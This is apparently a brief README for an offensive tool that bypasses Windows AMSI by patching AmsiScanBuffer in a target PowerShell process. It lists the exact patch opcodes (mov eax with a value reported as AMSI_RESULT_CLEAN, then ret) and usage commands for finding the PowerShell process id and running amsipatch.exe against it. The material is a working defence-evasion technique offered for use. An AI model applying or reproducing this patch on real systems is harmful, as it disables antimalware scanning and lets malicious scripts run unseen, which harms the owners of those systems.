AMSIScanBufBypass

Memory Patching AMSIScanBuffer

Patching the AmsiScanBuffer Method with the following opcodes - 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3

mov eax,offset  (offset has AMSI_RESULT_CLEAN) 
ret

Usage

Get processid of your target - tasklist | findstr powershell.exe

amsipatch.exe pid